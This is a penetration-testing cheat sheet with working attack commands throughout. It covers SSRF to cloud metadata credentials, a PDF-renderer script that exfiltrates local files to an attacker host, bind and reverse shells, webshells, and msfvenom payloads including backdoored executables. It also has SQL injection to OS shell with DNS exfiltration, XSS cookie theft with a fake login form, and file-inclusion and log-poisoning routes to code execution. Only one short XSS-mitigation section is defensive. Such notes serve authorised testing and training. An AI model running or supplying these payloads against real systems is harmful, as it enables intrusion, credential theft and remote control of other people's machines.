# Download latest release (Windows x64, single-file trimmed build) TAG=$(curl -s https://api.github.com/repos/Kevin-Robertson/Inveigh/releases/latest | grep '"tag_name":' | sed -E 's/.*"([^"]+)".*/\1/') wget "https://github.com/Kevin-Robertson/Inveigh/releases/download/$TAG/Inveigh-net10.0-win-x64-trimmed-single-$TAG.zip" unzip "Inveigh-net10.0-win-x64-trimmed-single-$TAG.zip"# Or build from repo (C#): open Inveigh.sln, build/publish for win-x64, or: # dotnet publish -r win-x64 -c Release -p:PublishSingleFile=true # Run with LLMNR + NBNS spoofing, full console output, and file output (all explicit) .\Inveigh.exe -LLMNR Y -NBNS Y -Console 5 -FileOutput YServer-Side Request Forgery (SSRF)
- https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/19-Testing_for_Server-Side_Request_Forgery
- https://hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/
- https://hacktricks.wiki/en/pentesting-web/xss-cross-site-scripting/pdf-injection.html
- https://namratha-gm.medium.com/ssrf-to-local-file-read-through-html-injection-in-pdf-file-53711847cb2f
SSRF forces the server to make HTTP (or other protocol) requests on the attacker’s behalf. The server becomes a proxy β useful for accessing internal services, cloud metadata endpoints, or local files.
Identification: Look for any parameter that fetches a remote resource β
?url=,?image=,?server=,?dest=, PDF export features, webhooks, icon fetchers.Variant Description Basic SSRF Parameter takes a URL; redirect it to internal target Blind SSRF Server makes the request but returns no output β detect via out-of-band callback SSRF β LFI Server (or its PDF renderer) reads file://URIsSSRF β RCE Chain into internal services (Redis, Elasticsearch, etc.) Basic SSRF
Point the vulnerable parameter at an internal resource or metadata endpoint:
# Internal admin panel http://<TARGET>/item?url=http://127.0.0.1/admin # AWS metadata http://<TARGET>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ # GCP metadata http://<TARGET>/fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/tokenBlind SSRF Detection
If the response gives nothing back, confirm the request fires via a callback:
# Start listener nc -lvnp 8080 # Inject callback URL into the vulnerable parameter curl "http://<TARGET>/webhook?url=http://<ATTACKER_IP>:8080/ping"Use Burp Collaborator or interactsh for DNS-based OOB confirmation.
SSRF β LFI via HTML Injection in PDF
When an app generates PDFs from user input using a headless browser (wkhtmltopdf, Puppeteer, Chrome headless), injecting JavaScript into the input causes the renderer to execute it. The script can read
file://URIs and exfiltrate content back to the attacker.Identification: Submit a field and download the resulting PDF β if your input renders as HTML (not escaped), the renderer is likely vulnerable.
Inject into the vulnerable input field (e.g., a tracker or name field that ends up in the PDF):
while true; do nc -lvnp 8080; done # Into vulnerable field <script> x=new XMLHttpRequest; x.onload=function(){document.location='http://<ATTACKER_IP>:8080?c='+btoa(this.responseText)}; x.open('GET','file:///etc/passwd'); x.send(); </script>Automate with curl
URL-encode the payload and POST it directly:
while true; do nc -lvnp 8080; done PAYLOAD='<script>x=new XMLHttpRequest;x.onload=function(){document.location="http://<ATTACKER_IP>:8080?c="+btoa(this.responseText)};x.open("GET","file:///<FILE>");x.send();</script>' ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${PAYLOAD}'))") curl 'http://<TARGET>/' \ -X POST \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-raw "insert=Track+Now&handle=${ENCODED}"NOTE: Some PDF renderers block
file://access by default. If the payload fires but returns empty, try/proc/self/environ,/etc/hosts, or app config files as alternative targets.Shells
- Shell Generator: https://www.revshells.com/
Forward/Bind
- https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/
- Webshell Terminal: https://github.com/Arrexel/phpbash
# === TARGET: LISTENER === rm -f /tmp/f ; mkfifo /tmp/f ; cat /tmp/f | /bin/bash -i 2>&1 | nc -lvnp <LISTEN_PORT> > /tmp/f python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",<LISTEN_PORT>));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")' powershell -NoP --% -NonI -W Hidden -Exec Bypass -Command $listener = [System.Net.Sockets.TcpListener]<LISTEN_PORT>; $listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + " ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(); # === ATTACKER: CONNECT === nc -nv <TARGET> <LISTEN_PORT>Callback/Reverse
- https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/
- https://highon.coffee/blog/reverse-shell-cheat-sheet/
- URL ENCODE: https://www.urlencoder.org/
# === ATTACKER: LISTENER === nc -lvnp <CALLBACK_PORT> # === TARGET: CALLBACKS === rm -f /tmp/f ; mkfifo /tmp/f ; cat /tmp/f | /bin/sh -i 2>&1 | nc -nv <ATTACKER_IP> <CALLBACK_PORT> > /tmp/f bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/<CALLBACK_PORT> 0>&1' # Must be ran from cmd.exe powershell -nop --% -c "$client = New-Object System.Net.Sockets.TCPClient('<ATTACKER_IP>',<CALLBACK_PORT>);$s = $client.GetStream();[byte[]]$b = 0..65535|%{0};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (iex $data 2>&1 | Out-String );$sb2 = $sb + 'PS ' + (pwd).Path + '> ';$sbt = ([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$client.Close()"Web
- Shell Generator: https://www.revshells.com/
- Webshells: https://github.com/danielmiessler/SecLists/tree/master/Web-Shells
- Beachhead: https://github.com/flozz/p0wny-shell
- Post-Exploit: https://github.com/wso-shell-php/.github
- https://github.com/payloadbox/command-injection-payload-list
- https://swisskyrepo.github.io/PayloadsAllTheThings/
/usr/share/webshells- https://github.com/jbarcia/Web-Shells/tree/master/laudanum
/usr/share/laudanum
Web Server Default Webroot Apache/var/www/html/ Nginx/usr/local/nginx/html/ IISc:\inetpub\wwwroot\ XAMPPC:\xampp\htdocs\ ### ASPX (Microsoft IIS) # Command Shell # 1) Add ATTACKER_IP on line 59 # 2) Remove unnecessary comments at beginning and end /usr/share/laudanum/aspx/shell.aspx # PowerShell Command Terminal # 1) Edit creds on line 14 /usr/share/nishang/Antak-WebShell/antak.aspx # PHP WebShell wget https://github.com/WhiteWinterWolf/wwwolf-php-webshell/raw/refs/heads/master/webshell.phpCode
NOTE: the first examples are “Hello World” but perform a match calculation that should result in
49being shown on the page in the case there’s a WAF blocking “Hello World” strings<?php echo 7*7; ?> <?php if(isset($_GET["dbg"])) system($_GET["dbg"]); ?> curl -skLo- http://<TARGET>/dbg.php?dbg=<COMMAND><%= 7*7 %> <% Runtime.getRuntime().exec(request.getParameter("dbg")); %> curl -skLo- http://<TARGET>/dbg.jsp?dbg=<COMMAND><%= 7*7 %> <% eval request("dbg") %> curl -skLo- http://<TARGET>/dbg.asp?dbg=<COMMAND>Msfvenom
- stageless: names like
shell_reverse_tcp - staged: names like
shell_reverse_tcp
### Listener for reverse callbacks sudo msfconsole -qx 'use exploit/multi/handler ; set payload <PAYLOAD> ; set lhost <TARGET> ; set lport <TARGET_PORT> ; run' ### Msfvenom commands msfvenom -l payloads msfvenom -l formats # PHP msfvenom -p php/meterpreter/reverse_tcp LHOST=<TARGET> LPORT=<TARGET_PORT> -f raw -e php/base64 # NOTE: need to add <?php ?> tags to file msfvenom -p php/reverse_php LHOST=<TARGET> LPORT=<TARGET_PORT> -f raw > reverse_shell.php # NOTE: need to add <?php ?> tags to file msfvenom -p php/meterpreter_reverse_tcp LHOST=<TARGET> LPORT=<TARGET_PORT> -f raw > rev_shell.php # LINUX msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<TARGET> LPORT=<TARGET_PORT> -f elf > rev_shell.elf msfvenom -p cmd/unix/reverse_python LHOST=<TARGET> LPORT=<TARGET_PORT> -f raw > rev_shell.py # WINDOWS 32-bit msfvenom -p windows/meterpreter/reverse_tcp LHOST=<TARGET> LPORT=<TARGET_PORT> -f exe > rev_shell.exe msfvenom -p windows/shell_reverse_tcp LHOST=<TARGET> LPORT=<TARGET_PORT> -f exe > nameoffile.exe msfvenom -p windows/meterpreter/reverse_tcp LHOST=<TARGET> LPORT=<TARGET_PORT> -f asp > rev_shell.asp # Java Web Shells msfvenom -p java/jsp_shell_reverse_tcp LHOST=<TARGET> LPORT=<TARGET_PORT> -f raw > nameoffile.jsp msfvenom -p java/jsp_shell_reverse_tcp LHOST=<TARGET> LPORT=<TARGET_PORT> -f war > nameoffile.war # BACKDOOR-ed EXECUTABLES msfvenom windows/x86/meterpreter_reverse_tcp LHOST=<TARGET> LPORT=<TARGET_PORT> -k -x <INPUT_FILE> -e x86/shikata_ga_nai -a x86 --platform windows -o <OUTPUT_FILE> -i 5Shell Upgrade
To be able to run commands like
su,sudo,ssh,use command completion, andopen a text editor if neededwith other features as well…# Best Upgrade for i in python3 python python2 ; do command -v "$i" >/dev/null && "$i" -c 'import pty; pty.spawn("/bin/bash")' && exit ; done export TERM=xterm-256color CTRL+Z stty raw -echo ; fgOther Upgrades
script /dev/null -c /bin/bash /bin/bash -i find . -exec /bin/bash -p \; -quit awk 'BEGIN {system("/bin/bash")}' perl -e 'exec "/bin/bash";' ruby -e 'exec "/bin/bash"' vim -c ':!/bin/bash' -c ':qa!' lua -e 'os.execute("/bin/bash")'Resize Terminal Size
echo "MAKE SURE THIS IS RAN ON ATTACKER BOX FIRST, THEN...\n\nON TARGET SHELL:\nstty rows $(tput lines) columns $(tput cols)"Socat Method
- https://github.com/andrew-d/static-binaries/tree/master/binaries
- https://github.com/ernw/static-toolbox/
Setup
# Download and serve static socat (if needed) wget -v https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat ip a ; sudo python3 -m http.server 80 wget http://<ATTACKER_IP>:80/socat -o /tmp/socat chmod +x /tmp/socatEncrypted:
# Generate key and cert (fill info randomly or leave blank) openssl req -x509 -newkey rsa:2048 -keyout shell.key -out shell.crt -days 365 -nodes -batch -subj "/" && cat shell.key shell.crt > cert.pemLinux
# ATTACKER (Listen): socat file:`tty`,raw,echo=0 tcp-listen:<PORT> # LINUX TARGET (Connect Back): nohup /tmp/socat tcp-connect:<ATTACKER_IP>:<PORT> exec:'bash -li',pty,stderr,setsid,sigint,sane 2>&1 >/dev/null &Encrypted:
# ATTACKER (Listen): socat FILE:`tty`,raw,echo=0 OPENSSL-LISTEN:<PORT>,cert=cert.pem,verify=0 # LINUX TARGET (Connect Back): # (Upload socat first, same as standard shell) /tmp/socat EXEC:'bash -li',pty,stderr,setsid,sigint,sane OPENSSL:<ATTACKER_IP>:<PORT>,verify=0Windows
# ATTACKER (Listen): socat tcp-listen:<PORT> - # WINDOWS TARGET (Connect Back): Invoke-WebRequest -uri http://<ATTACKER_IP>/socat.exe -outfile C:\\Windows\temp\socat.exe C:\\Windows\temp\socat.exe TCP:<ATTACKER_IP>:<PORT> EXEC:powershell.exe,pipesEncrypted:
# ATTACKER (Listen): socat OPENSSL-LISTEN:<PORT>,cert=cert.pem,verify=0 - # WINDOWS TARGET (Connect Back): # (Upload socat.exe first, same as standard shell) C:\Windows\temp\socat.exe EXEC:powershell.exe,pipes OPENSSL:<ATTACKER_IP>:<PORT>,verify=0SQL Injection
See more about… SQL
Source: Docs > 2 - Pre-Engagement > checklist#sql
SQL
If these steps fail, the target is likely not vulnerable via automation.
Phase 1: Injection & Tuning
- Manual Triage (Burp): Confirm “True” vs “False” response size manually. Never run SQLMap blind.
- The Setup: Save request to
req.txt. Mark injection point with*. (sqlmap -r req.txt --batch) - The Unlocker (Tuning): Logic (
OR) or Brackets ()))) failing? (--level 5 --risk 3) - The Syntax Fix: SQLMap guessing wrong boundaries? (
--prefix="')"- Match your Burp findings). - The Speedup: Time-based checks taking forever? (
--technique=BEU- Force Boolean/Error/Union only).
Phase 2: Stability & Evasion
- The Hallucination Fix: “2 letters off” or garbage data? (
--string="SuccessMsg"or--text-only). - The Bypass: WAF blocking or 403s? (
--random-agent --tamper=space2comment --skip-waf).
Phase 3: Loot & Shells
- The Recon: Check privileges immediately. (
--is-dba --current-db). - The Dump: Surgical extraction (Don’t dump the world). (
-D <DB> -T <TABLE> -C <USER,PASS> --dump). - The Endgame (RCE): DBA is True? (
--os-shell(Add--technique=Eif empty) OR--file-write="shell.php").
Troubleshooting (Panic Modifiers) Add these to The Dump if injection exists but data fails to extract.
-
--union-cols=X: Manually set column count (if SQLMap counts wrong). -
--no-cast: Disable payload casting (Fixes specific DB errors). -
--hex: Encode data extraction (Bypasses WAF filters on output).
SQLMap supports techniques BEUSTQ: Boolean blind (B), Error-based (E), Union (U), Stacked (S), Time-based blind (T), Inline (Q), plus Out-of-band (OOB) via DNS exfiltration. Use
sqlmap -hhto list techniques.Union Based SQLi
Direct data extraction by combining results from two queries.
Mechanics:
- Find Column Count:
ORDER BY 1,ORDER BY 2… until error. - Find Visible Columns:
UNION SELECT 1, 2, 3, 4(Check which numbers appear on screen). - Extract Data: Replace visible number with
database(),user(), or column name.
-- Get column count... start at 2 and iterate up ' ORDER BY 2-- - -- MORE ROBUST since it will error on bad column sizes ' UNION SELECT 1,2-- - -- Get current user and database ' UNION SELECT 1, user(), database(), 4 -- - ' UNION SELECT 1, user, database(), 4 FROM mysql.user -- - -- Enumeration ' UNION SELECT 1, group_concat(table_name), 3, 4 FROM information_schema.tables WHERE table_schema=database()-- -See more about… Union-based
Source: Docs > 9 - Notes > sqlmap#union-based
Union-based
Combine two queries to dump data directly into the response. Count the displayed columns (and maybe iteratively increase columns amount)
sqlmap -u "<URL>" --technique=U --union-cols=5Error Based SQLi
Force the database to dump data inside a verbose error message.
Mechanics: Intentionally break syntax or use functions that fail when passed specific strings, causing the DB to return the string (the flag) in the error.
-- MySQL (extractvalue) ' AND extractvalue(1, concat(0x7e, (SELECT @@version), 0x7e))-- - -- MSSQL (Conversion Error) ' AND 1=(SELECT TOP 1 table_name FROM information_schema.tables)--See more about… Error-based
Source: Docs > 9 - Notes > sqlmap#error-based
Error-based
Trigger DB errors that leak data inside the error message.
sqlmap -u "<URL>" --technique=EBlind SQLi (Boolean)
Infer data by asking True/False questions. Content changes based on the answer.
Mechanics: If
1=1(True) loads the page normally, and1=2(False) hides content, the target is vulnerable.-- Verification ' AND 1=1-- - (Page loads) ' AND 1=2-- - (Content missing) -- Data Extraction (Manual logic) -- Is the first letter of user() 'a'? ' AND (SELECT substring(user(),1,1))='a'-- -See more about… Blind Boolean
Source: Docs > 9 - Notes > sqlmap#blind-boolean
Blind Boolean
Infer data from whether the page content or behaviour changes (true vs false).
NOTE: careful this is a very unstable method that might require multiple runs or
--no-castsqlmap -u "<URL>" --technique=B --level 5 --risk 3Blind SQLi (Time)
Infer data by measuring response delay.
Mechanics: If the condition is True, the database sleeps. If the page takes ~10s to load, the injection succeeded.
-- MySQL ' AND (SELECT SLEEP(5))-- - -- MSSQL '; WAITFOR DELAY '0:0:5'-- -- PostgreSQL '; SELECT pg_sleep(5)--See more about… Blind Time
Source: Docs > 9 - Notes > sqlmap#blind-time
Blind Time
Infer data from response delays (e.g. SLEEP) when the condition is true.
sqlmap -u "<URL>" --technique=TStacked Queries SQLi
Append additional SQL statements after the vulnerable query (e.g. non-query statements or OS commands).
Mechanics: “Piggy-backing” β inject a second statement after the first (e.g.
; DROP TABLE users). Only works when the DB and driver allow multiple statements (e.g. MSSQL, PostgreSQL). SQLMap can use it for data retrieval (similar to time-based) or for non-query/OS execution when supported.-- Example: second statement runs after the first '; DROP TABLE users-- - '; EXEC xp_cmdshell 'whoami'-- -See more about… Stacked queries
Source: Docs > 9 - Notes > sqlmap#stacked-queries
Stacked queries
Append extra SQL statements after the vulnerable one (e.g. INSERT/UPDATE/DELETE or OS commands); requires DB support (e.g. MSSQL, PostgreSQL).
sqlmap -u "<URL>" --technique=SInline Queries SQLi
Embed a subquery inside the original query so the result is used in place.
Mechanics: The vulnerable app must use the result of a subquery in a way that lets you inject (e.g.
SELECT (SELECT @@version) FROM ...). Less common than other types because the code structure has to match. SQLMap supports it when the injection point allows embedded queries.-- Example: version in a subquery SELECT (SELECT @@version) FROM ...See more about… Inline queries
Source: Docs > 9 - Notes > sqlmap#inline-queries
Inline queries
Query embedded inside the original query; uncommon and app-dependent.
sqlmap -u "<URL>" --technique=QOut-of-Band (OOB) SQLi
Exfiltrate data via DNS/HTTP requests when output is completely invisible.
Mechanics: Force the DB to resolve a domain you control (
interactsh). The data is prepended as the subdomain.# 1. Start Listener interactsh-client # 2. Payload Construction (example domain: domain.com) # Windows / MSSQL (xp_dirtree) '; DECLARE @data varchar(1024); SELECT @data = (SELECT user_name()); EXEC('master..xp_dirtree "\\'+@data+'.domain.com\a"');-- # Linux / MySQL (secure_file_priv must be empty) ' SELECT LOAD_FILE(CONCAT('\\\\', (SELECT user()), '.domain.com\\a'))-- -See more about… Out-of-band
Source: Docs > 9 - Notes > sqlmap#out-of-band
Out-of-band
Exfiltrate via DNS or HTTP to a server you control when no output is visible.
sqlmap -u "<URL>" --dns-domain=<DOMAIN>Web Exploitation
This page combines all web-related resources into one section for easy navegation.
See more about… Web
Source: Docs > 5 - Exploitation > shells#web
Web
- Shell Generator: https://www.revshells.com/
- Webshells: https://github.com/danielmiessler/SecLists/tree/master/Web-Shells
- Beachhead: https://github.com/flozz/p0wny-shell
- Post-Exploit: https://github.com/wso-shell-php/.github
- https://github.com/payloadbox/command-injection-payload-list
- https://swisskyrepo.github.io/PayloadsAllTheThings/
/usr/share/webshells- https://github.com/jbarcia/Web-Shells/tree/master/laudanum
/usr/share/laudanum
Web Server Default Webroot Apache/var/www/html/ Nginx/usr/local/nginx/html/ IISc:\inetpub\wwwroot\ XAMPPC:\xampp\htdocs\ ### ASPX (Microsoft IIS) # Command Shell # 1) Add ATTACKER_IP on line 59 # 2) Remove unnecessary comments at beginning and end /usr/share/laudanum/aspx/shell.aspx # PowerShell Command Terminal # 1) Edit creds on line 14 /usr/share/nishang/Antak-WebShell/antak.aspx # PHP WebShell wget https://github.com/WhiteWinterWolf/wwwolf-php-webshell/raw/refs/heads/master/webshell.phpCode
NOTE: the first examples are “Hello World” but perform a match calculation that should result in
49being shown on the page in the case there’s a WAF blocking “Hello World” strings<?php echo 7*7; ?> <?php if(isset($_GET["dbg"])) system($_GET["dbg"]); ?> curl -skLo- http://<TARGET>/dbg.php?dbg=<COMMAND><%= 7*7 %><% Runtime.getRuntime().exec(request.getParameter("dbg")); %>
curl -skLo- http://<TARGET>/dbg.jsp?dbg=<COMMAND>
<%= 7*7 %><% eval request("dbg") %>
curl -skLo- http://<TARGET>/dbg.asp?dbg=<COMMAND>
See more about… Cross-site scripting (XSS)
Source: Docs > 5 - Exploitation > xss
- https://owasp.org/www-community/attacks/xss/
- https://swisskyrepo.github.io/PayloadsAllTheThings/XSS%20Injection/#methodology
- https://github.com/payload-box/xss-payload-list/blob/main/Cheatsheet.md#xss-cheatsheet
Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into websites. There are two sides: source (frontend) and sink (backend).
REMEMBER: Viewing the Page Source (CTRL+U) or Inspecting Element (F12) are two separates things: respectively, one is the HTTP response (static site, scripts pre-execution) and the other is the final website (dynamically loaded, scripts post-execution)
Type Description Stored XSS(Persistent)Stored in the backend… The most critical type of XSS, which occurs when user input is stored on the back-end database and then displayed upon retrieval (e.g. posts or comments) Reflected XSS(Non-Persistent)Only passes through the backend… Occurs when user input is displayed on the page after being processed by the backend server, but without being stored (e.g. search result or error message) DOM-based XSSNever touches the backend Non-Persistent XSS type that occurs when user input is directly shown in the browser and is completely processed on the client-side, without reaching the back-end server (e.g., through client-side HTTP parameters or anchor tags) Breaking Context
Manual Payloads
Sometimes, certain payloads are not allowed
<script>alert(window.origin)</script> <img src="" onerror=alert(window.origin)> <svg/onload=alert(window.origin)> // Polyglot Breaker javascript:"/*\"/*`/*' /*</title></textarea>--></noscript></style></xmp>"></a><img src=x onerror=alert(window.origin)>// --- # Setup listener on ATTACKER_IP sudo python3 -m http.server 80 // Remote script <script src="http://<ATTACKER_IP>/script.js"></script> // Same idea but enumerate vuln fields <script src="http://<ATTACKER_IP>/username"></script> // Exfil cookies document.location='http://<ATTACKER_IP>/index.php?c='+document.cookie; new Image().src='http://<ATTACKER_IP>/index.php?c='+document.cookie;Login Form Injection
<h3>Please login to continue</h3> <form action=http://<ATTACKER_IP> > <input type="username" name="username" placeholder="Username"> <input type="password" name="password" placeholder="Password"> <input type="submit" name="submit" value="Login"> </form>Blind XSS
Manual
Generally, to enumerate Blind XSS vulns, start by setting a server to receive a callback for a particular HTML field that is being tested.
mkdir /tmp/tmpserver && cd /tmp/tmpserver cat << 'EOF' > script.js new Image().src='http://10.10.14.175:8080/index.php?c=' + document.cookie; EOF php -S 0.0.0.0:8080NOTE: usually, password fields are hashed and email fields are validated client/server side, so they are harder or impossible
# MODIFY PAYLOAD AS NEEDED PAYLOAD='"><script src=http://<ATTACKER_IP>:8080/script.js></script>' # Encode it ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${PAYLOAD}'))") # Hack it! curl "http://<TARGET>/<PAGE>?\ Name=${ENCODED}\ &Email=${ENCODED}\ &Phone+Number=${ENCODED}\ &Product=${ENCODED}\ &os=${ENCODED}\ &browser=${ENCODED}\ &message=${ENCODED}\ &ttype=${ENCODED}" \ -H 'X-Requested-With: XMLHttpRequest'Check the PHP server for the response with the cookie. Then add the cookie to the browser and visit the appropriate login page:
- Click
Shift+F9to show theStoragebar - Click on the
+button on the top right corner - Add
Nameis the part before=and theValueis the part after=from the stolen cookie
Dalfox
NOTE: this is very dangerous and can break servers easily
# this installs the program at `~/go/bin/dalfox` go install github.com/hahwul/dalfox/v2@latest# HTTP GET dalfox url 'http://<TARGET>/?<PARAM>=<VALUE>' # HTTP POST (can include multiple params for -d) # COOKIES: -C 'PHPSESSID=<YOUR_COOKIE>' dalfox url 'http://<TARGET>/' -X POST -d '<PARAM>=<VALUE>'Blind
# Fuzz web page fields dalfox url "http://<TARGET_IP>/<PAGE>" \ --skip-mining-dom \ --blind "http://<ATTACKER_IP>:8080" \ -X POST \ -d "<PARAM>=<VALUE>" --header "X-Requested-With: XMLHttpRequest" \ --blind "http://10.10.14.175:8080" \ --delay 500XSS Prevention & Mitigation
XSS defense requires a Defense in Depth approach. Never rely solely on Frontend validation (it is easily bypassed).
Frontend
- Input Validation: Use Regex to enforce strict formats (e.g., Email, Date).
- Sanitization: Strip dangerous tags before processing.
- Library:
DOMPurify(Standard).DOMPurify.sanitize(dirtyInput).
- Library:
- Safe Sinks: Avoid writing raw HTML.
- UNSAFE:
innerHTML,outerHTML,document.write(), jQueryappend(),html(). - SAFE:
innerText,textContent.
- UNSAFE:
Backend
- Input Validation: Reject input that doesn’t match expected types (e.g., PHP
filter_var). - Input Sanitization: Escape special characters before storage (e.g., PHP
addslashes, NodeDOMPurify). - Output Encoding (CRITICAL): Convert special characters into HTML Entities (e.g.,
<β<) before rendering.- PHP:
htmlspecialchars($input, ENT_QUOTES, 'UTF-8') - NodeJS:
html-entitieslibrary.
- PHP:
Server Configuration
- Content Security Policy (CSP): The most powerful header against XSS.
Content-Security-Policy: script-src 'self'(Only allow scripts from the same origin, blocks inline JS).
- Cookie Flags:
HttpOnly: Prevents JavaScript from readingdocument.cookie.Secure: Ensures cookies are only sent over HTTPS.
- Headers:
X-Content-Type-Options: nosniff(Prevents MIME sniffing).
- WAF: Web Application Firewall (ModSecurity, AWS WAF) to block common payloads.
See more about… File Inclusion
Source: Docs > 5 - Exploitation > file-inclusion
File Inclusion (FI) allows an attacker to include a file, usually exploiting a “dynamic file inclusion” mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation.
There are 2 types, which depend on the underlying vulnerable function:
Code Examples of FI
These examples use the idea of a webpage in multiple languages that allows the user to dynamically load webpage in the selected language.
PHP
// Selector if (isset($_GET['language'])) { include($_GET['language']); }NodeJS
// Selector if(req.query.language) { fs.readFile(path.join(__dirname, req.query.language), function (err, data) { res.write(data); }); } // about.html app.get("/about/:language", function(req, res) { res.render(`/${req.params.language}/about.html`); });Java
// Selector <c:if test="${not empty param.language}"> <jsp:include file="<%= request.getParameter('language') %>" /> </c:if> // about.html <c:import url= "<%= request.getParameter('language') %>"/>.NET
// Selector @if (!string.IsNullOrEmpty(HttpContext.Request.Query['language'])) { <% Response.WriteFile("<% HttpContext.Request.Query['language'] %>"); %> } // about.html @Html.Partial(HttpContext.Request.Query['language'])Can Function X Read/Execute?
Function Read Content Execute Remote URL PHP include()/include_once()β β β require()/require_once()β β β file_get_contents()β β β fopen()/file()β β β NodeJS fs.readFile()β β β fs.sendFile()β β β res.render()β β β Java includeβ β β importβ β β .NET @Html.Partial()β β β @Html.RemotePartial()β β β Response.WriteFile()β β β includeβ β β Checking Vulnerability
Due to file permissions, these files should almost always exist and be accessible if a target is vulnerable to LFI:
- Linux:
/etc/passwd - Windows:
C:\Windows\boot.ini
Generally, they will be 3-5 folder depths down from the root filesystem:
# without '/' ../../../../etc/passwd # with '/' /../../../../etc/passwd # basic filter '../' bypass ....//....//....//etc/passwd ..././ ....\/ # URL encoding: must encode entire string %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64 # regex might require a specific string or extension for a folder or extension # the extension part can limit the files accessible languages/.*php # overflow character limit to evade extension filter # ONLY: PHP <5.3 versions echo -n "non_existing_directory/../../../etc/passwd/" && for i in {1..2048}; do echo -n "./"; done # null byte # ONLY: PHP <5.5 versions ../../../../etc/passwd%00.phpURL Encoding
# Total URL Encoding via Python echo -n '<LFI_STRING>' | python3 -c "import sys; print(''.join('%{0:02x}'.format(ord(c)) for c in sys.stdin.read()))"Finding Files
Typically, the backend server will not have debug messages enabled. In order to enumerate files (such as other
*.phporconfigfiles in the same directory), fuzzing the web server and keeping all HTTP responses (e.g. codes 301, 302, 403, etc.) can show that those files or locations exist AND could be accessible via LFI (but not normal HTTP requests)# Find *.php files that DO EXIST on the server ffuf -ic -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://<TARGET>/FUZZ.phpIf the found files can be accessed via LFI, but get executed instead of merely read, use a PHP filter like
base64to encode the file to read and prevent it from being executed:# NOTE: .php get appended to `resource` so "<FILE>" is really "<FILE>.php" http://<TARGET>/<PAGE>?<PARAMETER>=php://filter/read=convert.base64-encode/resource=<FILE> # View Page Source > Decode base64 echo '<BASE64> | base64 -d'Local File Inclusion
- Wrappers:
- Requires
allow_url_include = On: - Requires
extension=expect:
- Requires
Check Config
- Linux: https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt
- Windows: https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/LFI/LFI-gracefulsecurity-windows.txt
# If the LFI is already know (e.g. via LFImap) this # can browse for all accessible config files ffuf -w <LFI_LIST>:FUZZ -u 'http://<TARGET>/<PAGE>?<PARAMETER>=<LFI>FUZZ' -fs 0 -vExecute Commands
If able, check that appropriate settings are enabled and the underlying function supports the command.
via
data# Base64'd PHP Webshell: <?php system($_GET["cmd"]); ?> curl -sko- 'http://<TARGET>/<PAGE>?<PARAMETER>=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=;<COMMAND>;'via
input# POST PHP Webshell curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' 'http://<TARGET>/<PAGE>?<PARAMETER>=php://input&cmd=<COMMAND>'via
expectcurl -sko- 'http://<TARGET>/<PAGE>?<PARAMETER>=expect://<COMMAND>'Remote File Inclusion
If able, check that appropriate settings are enabled and the underlying function supports the command. Sometimes, though not always, command execution is allowed.
# URL is the remote resource http://<TARGET>/<PAGE>?<PARAMETER>=<URL> # Create remote PHP web shell # NOTE: this only works for get and execute style functions echo '<?php system($_GET["cmd"]); ?>' > shell.php sudo python3 -m http.server 8080 # Execute commands by calling back to ATTACK_IP and executing that file curl -sko- 'http://<TARGET>/<PAGE>?<PARAMETER>=<ATTACKER_IP>:<PORT>/shell.php?cmd=<COMMAND>'Log Poisoning
Poisoning a file to gain execution can be done by
PHPSESSION, which is the settings a user has selected for a webpage.# Get PHPSESSION from F12 > Storage # NOTE: that file is stored on disk as: # /var/lib/php/sessions/sess_<PHPSESSION> # Read the settings for the PHPSESSION http://<TARGET>/<PAGE>?language=/var/lib/php/sessions/sess_<SESSION> # Let's see if we control the OPTION http://<TARGET>/<PAGE>?<PARAMETER>=CONTROL # Now read the value http://<TARGET>/<PAGE>?language=/var/lib/php/sessions/sess_<SESSION> # Set OPTION to a PHP webshell curl -sc cookies.txt 'http://<TARGET>/<PAGE>?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E' # Now execute commands curl -sko- -b cookies.txt 'http://<TARGET>/<PAGE>?language=/var/lib/php/sessions/sess_<SESSION>&cmd=<COMMAND>'Scanning
